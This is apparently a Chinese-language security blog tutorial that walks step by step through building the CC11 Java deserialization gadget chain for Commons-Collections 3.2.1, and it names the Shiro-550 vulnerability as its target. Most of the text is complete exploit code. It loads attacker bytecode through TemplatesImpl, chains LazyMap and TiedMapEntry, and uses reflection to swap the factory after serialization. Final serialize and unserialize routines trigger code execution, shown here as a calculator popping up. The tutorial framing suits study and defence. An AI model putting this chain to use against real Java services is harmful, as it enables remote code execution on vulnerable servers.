前言
这条链子的主要作用是为了可以在 Commons-Collections 3.2.1 版本中使用,而且还是无数组的方法。这条链子适用于 Shiro550漏洞
CC11链子流程
CC2 + CC6的结合体
CC2
这是CC2的流程图,我们取的是后面那三个链子,但是由于CC2 只能在 commons-collections4.0 版本中使用,所以前半段链用不了
首先我们从 defineClass方法的调用去向上寻找链子
可以发现 newTransformer 方法是public,可控的,可以调用 getTransletInstance方法进行实例化
构造链:
TemplatesImpl.newTransformer()
-->
defineClass->newInstance
调用 TemplatesImpl类的 newTransformer方法
TemplatesImpl templates = new TemplatesImpl();templates.newTransformer();
因为调用 getTransletInstance方法需要满足这个if判断
所以我们需要构造代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import java.lang.reflect.Field;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");}
}
我们需要满足第二个if判断才可以满足初始化
点进去 defineTransletClasses 方法
可以发现 _bytecodes 如果不为空,就进入下面的代码段。
从而构造exp代码段:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);//在readObject中找,因为该字段不身不参加序列化Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类templates.newTransformer();}
}
运行之后命令执行成功
InvokerTransformer这个链子在后面会与CC6连接的
CC6
CC6的链子流程:
xxx.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Runtime.exec()
尾部链
TiedMapEntry 类中的getVAlue调用了 LazyMap类的 get方法
继续拼接exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类
// templates.newTransformer();
//CC6的开始Transformer[] transformers = {new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);tiedMapEntry.getValue();}
}
可以看见成功弹出计算器
结合入口链
可以看见 TiedMapEntry类的hashCode()方法中调用 getValue()方法
在Java反序列化中 找到 hashCode()之后的链子几乎都是这个
xxx.readObject()HashMap.put() --自动调用--> 后续利用链.hashCode()
所以我们可以构造exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类
// templates.newTransformer();Transformer[] transformers = {new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);// tiedMapEntry.getValue(); hashCode代替lazymap.put(tiedMapEntry,null);}
}
可以看见计算器成功弹出
解决只有反序列化执行命令
如果我们在序列化执行命令前,修改这行代码的chainedTransformer,它就不能执行了命令了
Map lazymap = LazyMap.decorate(new HashMap<>(),chainedTransformer);
-->修改为
Map lazymap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer(1));
因为这个字段名 factory 是可控的
我们可以等序列化执行代码后,通过反射改回 factory的值为chainedTransformer,反序列化的时候就可以执行了
Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);
在 LazyMap的get方法中可以看见,如果key是false才会执行
所以我们需要修改代码,在xxx.put()后面添加这一行代码:
lazymap.remove(null);
CC6+CC2有数组最终exp代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类
// templates.newTransformer();Transformer[] transformers = {new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null);// tiedMapEntry.getValue(); hashCode代替lazymap.put(tiedMapEntry,null);lazymap.remove(null);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
可以看见反序列化后命令执行成功
CC11无数组exp构造
修改有数组的CC11代码如下:
Transformer[] transformers = {new ConstantTransformer(templates),new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
--->修改为
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
修改的代码:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);// tiedMapEntry.getValue(); hashCode代替lazymap.put(tiedMapEntry,null);lazymap.remove(templates);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,invokerTransformer);
最终exp代码:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class C11 {public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> tc = templates.getClass();Field name = tc.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"a");Field bytecodes = tc.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);byte[] eval = Files.readAllBytes(Paths.get("E:\\Calc.class"));byte[][] codes = {eval};bytecodes.set(templates,codes);Field tfactory = tc.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//初始化加载类
// templates.newTransformer();InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);HashMap<Object, Object> hashMap = new HashMap<>();Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);// tiedMapEntry.getValue(); hashCode代替lazymap.put(tiedMapEntry,null);lazymap.remove(templates);Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,invokerTransformer);serialize(hashMap);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
可以看见反序列化的时候计算器成功弹出